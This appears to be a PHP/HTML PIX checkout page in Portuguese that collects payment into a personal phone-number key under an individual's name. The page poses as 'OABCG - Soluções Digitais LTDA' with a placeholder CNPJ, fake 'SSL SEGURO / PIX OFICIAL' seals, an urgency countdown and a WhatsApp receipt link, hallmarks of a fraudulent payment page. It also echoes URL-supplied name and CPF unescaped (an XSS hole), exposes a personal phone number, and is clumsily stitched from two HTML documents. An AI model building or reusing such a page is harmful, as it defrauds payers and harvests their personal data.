<?php
// Configurações e Dados do Produto
$id_prod = isset($_GET['id']) ? $_GET['id'] : '';
$cpf_cli = isset($_GET['cpf']) ? $_GET['cpf'] : '';
$nome_cli = isset($_GET['nome']) ? $_GET['nome'] : '';

$arq_prod = "produtos.json";
$produto = null;

if (file_exists($arq_prod)) {
    $produtos = json_decode(file_get_contents($arq_prod), true);
    if (is_array($produtos)) {
        foreach ($produtos as $p) {
            if ($p['id'] == $id_prod) { 
                $produto = $p; 
                break; 
            }
        }
    }
}

if (!$produto) { die("Erro: Produto não identificado."); }

$finalizado = false;
$pix_code = "";

// Função para gerar o CRC16
function crc16_br($data) {
    $res = 0xFFFF;
    for ($i = 0; $i < strlen($data); $i++) {
        $res ^= (ord($data[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            if ($res & 0x8000) $res = ($res << 1) ^ 0x1021;
            else $res <<= 1;
            $res &= 0xFFFF;
        }
    }
    return strtoupper(str_pad(dechex($res), 4, '0', STR_PAD_LEFT));
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $chave = "21986297787";
    $beneficiario = "ELIAS_HILARIO_DOS_SANTOS";
    $cidade = "RIO_DE_JANEIRO";
    
    $valor = number_format($produto['preco'], 2, '.', '');
    
    // Montagem do Payload PIX Estático
    $partes = [];
    $partes[0] = "000201"; // Payload Format Indicator
    $partes[1] = "26" . str_pad(strlen("0014BR.GOV.BCB.PIX0111" . $chave), 2, '0', STR_PAD_LEFT) . "0014BR.GOV.BCB.PIX0111" . $chave;
    $partes[2] = "52040000"; // Merchant Category Code
    $partes[3] = "5303986";  // Currency (986 = Real)
    $partes[4] = "54" . str_pad(strlen($valor), 2, '0', STR_PAD_LEFT) . $valor;
    $partes[5] = "5802BR";   // Country Code
    $partes[6] = "59" . str_pad(strlen($beneficiario), 2, '0', STR_PAD_LEFT) . $beneficiario;
    $partes[7] = "60" . str_pad(strlen($cidade), 2, '0', STR_PAD_LEFT) . $cidade;
    $partes[8] = "62070503***"; // Transaction ID
    $partes[9] = "6304"; // Início do CRC16

    $payload_sem_crc = implode('', $partes);
    $pix_code = $payload_sem_crc . crc16_br($payload_sem_crc);
    $finalizado = true;
}
?>

<!DOCTYPE html>
<html lang="pt-br">
<head>
    <meta charset="UTF-8">
    <title>Checkout Pix</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        body { font-family: sans-serif; text-align: center; padding: 20px; background: #f4f4f4; }
        .card { background: #fff; padding: 20px; border-radius: 8px; max-width: 400px; margin: auto; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        .btn { background: #128c7e; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; width: 100%; font-size: 16px; }
        #qrcode { margin: 20px auto; display: flex; justify-content: center; }
        textarea { width: 100%; height: 60px; margin: 10px 0; font-size: 12px; }
    </style>
</head>
<body>

</body>
</html>
<!DOCTYPE html>
<html lang="pt-br">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">
    <center>
    <title>Pagamento Seguro | OABCG</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;800&display=swap" rel="stylesheet">
    <style>
        :root { --primary: #1a252f; --accent: #c5a059; --success: #27ae60; --bg: #f4f7f9; }
        body { font-family: 'Inter', sans-serif; background: var(--bg); margin: 0; padding: 10px; color: #333; }
        .wrapper { max-width: 450px; margin: auto; }
        
        /* Cabeçalho de Segurança */
        .safe-header { background: #fff; padding: 10px; border-radius: 12px 12px 0 0; display: flex; align-items: center; justify-content: center; gap: 8px; border-bottom: 1px solid #eee; }
        .safe-header span { font-size: 11px; font-weight: 700; color: var(--success); text-transform: uppercase; }

        .card { background: #fff; border-radius: 0 0 15px 15px; box-shadow: 0 8px 25px rgba(0,0,0,0.05); overflow: hidden; }
        .top-bar { background: var(--primary); color: #fff; padding: 20px; text-align: center; }
        .padd { padding: 20px; }

        /* Infos do Produto */
        .prod-info { background: #f9f9f9; border: 1px solid #eee; border-radius: 12px; padding: 12px; display: flex; align-items: center; gap: 15px; margin-bottom: 20px; }
        .prod-info img { width: 65px; height: 65px; border-radius: 8px; object-fit: cover; }
        .prod-info h4 { margin: 0; font-size: 14px; }
        .prod-info .price { color: var(--success); font-weight: 800; font-size: 16px; }

        /* Área do PIX */
        .pix-box { text-align: center; background: #fffbeb; border: 2px dashed var(--accent); padding: 20px; border-radius: 15px; margin: 15px 0; }
        .timer { font-size: 26px; font-weight: 900; color: #e74c3c; margin: 10px 0; }
        code { display: block; background: #fff; padding: 12px; border: 1px solid #ddd; border-radius: 8px; font-size: 7px; word-break: break-all; margin: 10px 0; }
        
        .btn { padding: 11px; border: none; border-radius: 10px; font-weight: 500; cursor: pointer; text-transform: uppercase; transition: 0.2s; }
        .btn-pix { background: var(--success); color: #fff; box-shadow: 0 4px 0 #1e8449; }
        .btn-wpp { background: #25d366; color: #fff; text-decoration: none; display: block; text-align: center; margin-top: 10px; box-shadow: 0 4px 0 #128c7e; }

        /* Rodapé de Segurança */
        .footer { text-align: center; padding: 25px 15px; color: #7f8c8d; font-size: 12px; line-height: 1.6; }
        .footer b { color: #555; }
        .seals { display: flex; justify-content: center; gap: 15px; margin-bottom: 15px; opacity: 0.6; grayscale: 100%; }
    </style>
</head>
<body>

<div class="wrapper">
    <div class="safe-header">
        <svg width="14" height="14" viewBox="0 0 24 24" fill="var(--success)"><path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm-2 16l-4-4 1.41-1.41L10 14.17l6.59-6.59L18 9l-8 8z"/></svg>
      

    <div class="card">
        <div class="top-bar">
            <h3 style="margin:0; font-size:16px;">CHECKOUT</h3>
        </div>

        <div class="padd">
            <div class="prod-info">
                <img src="<?= $produto['imagem'] ?>" onerror="this.src='https://via.placeholder.com/100'">
                <div>
                    <h4><?= htmlspecialchars($produto['nome']) ?></h4>
                    <span class="price">R$ <?= number_format($produto['preco'], 2, ',', '.') ?></span>
                </div>
            </div>

            <?php if (!$finalizado): ?>
                <form method="POST">
                    <label style="font-size:11px; font-weight:bold; color:#888;">IDENTIFICAÇÃO:</label>
                    <input type="text" value="<?= $nome_cli ?> (<?= $cpf_cli ?>)" readonly style="width:100%; padding:12px; margin:8px 0 15px; border:1px solid #ddd; border-radius:8px; background:#f4f4f4; font-size:13px;">
                    
                    <label style="font-size:11px; font-weight:bold; color:#888;">DIGITE SEU CELULAR:</label>
                    <input type="tel" name="celular" placeholder="(00) 00000-0000" required style="width:100%; padding:15px; margin:8px 0 20px; border:2px solid #eee; border-radius:8px; font-size:16px;">

                    <button type="submit" class="btn btn-pix">FINALIZAR E PAGAR </button>
                </form>
            <?php else: ?>
                <div class="pix-box">
                    <h4 style="margin:0; color:var(--primary)">PAGUE AGORA</h4>
                    <div class="timer" id="timer">10:00</div>
                    <code><?= $pix_code ?></code>
                    <button class="btn btn-pix" style="padding:12px;" onclick="copy()">COPIAR CÓDIGO PIX</button>
                </div>
                <a href="https://wa.me/5521986297787?text=Enviando%20%20meu%20comprovante!" class="btn btn-wpp" style="font-size:12px;">ENVIAR NO WHATSAPP</a>
                <p style="font-size:11px; text-align:center; color:#999; margin-top:10px;">Aguardando processamento bancário...</p>
            <?php endif; ?>   <span>Ambiente de Pagamento Criptografado</span>
    </div>
        </div>
    </div>


    <div class="footer">
        <div class="seals">
            <span>🔒 SSL SEGURO</span>
            <span>✅ PIX OFICIAL</span>
            <span>🛡️ PROTEGIDO</span>
        </div>
        <p>
            <b>OABCG - SOLUÇÕES DIGITAIS LTDA</b><br>
            CNPJ: 00.000.000/0001-00<br>
            Av. Paulista, 1000 - Bela Vista, São Paulo - SP<br>
            Suporte: suporte@oabcg.com.br
        </p>
        <p style="font-size:10px; margin-top:20px;">
            Plataforma de pagamentos processada de forma segura.<br>
            © <?= date('Y') ?> Todos os direitos reservados.
        </p>
    </div>
</div>
</center>
<script>
    function copy() {
        const text = document.querySelector('code').innerText;
        navigator.clipboard.writeText(text).then(() => alert("Copiado com sucesso!"));
    }

    const tDisplay = document.getElementById('timer');
    if(tDisplay) {
        let t = 600;
        setInterval(() => {
            let m = Math.floor(t/60), s = t%60;
            tDisplay.innerHTML = (m<10?'0':'')+m+':'+(s<10?'0':'')+s;
            if(t > 0) t--;
        }, 1000);
    }
</script>

</body>
</html>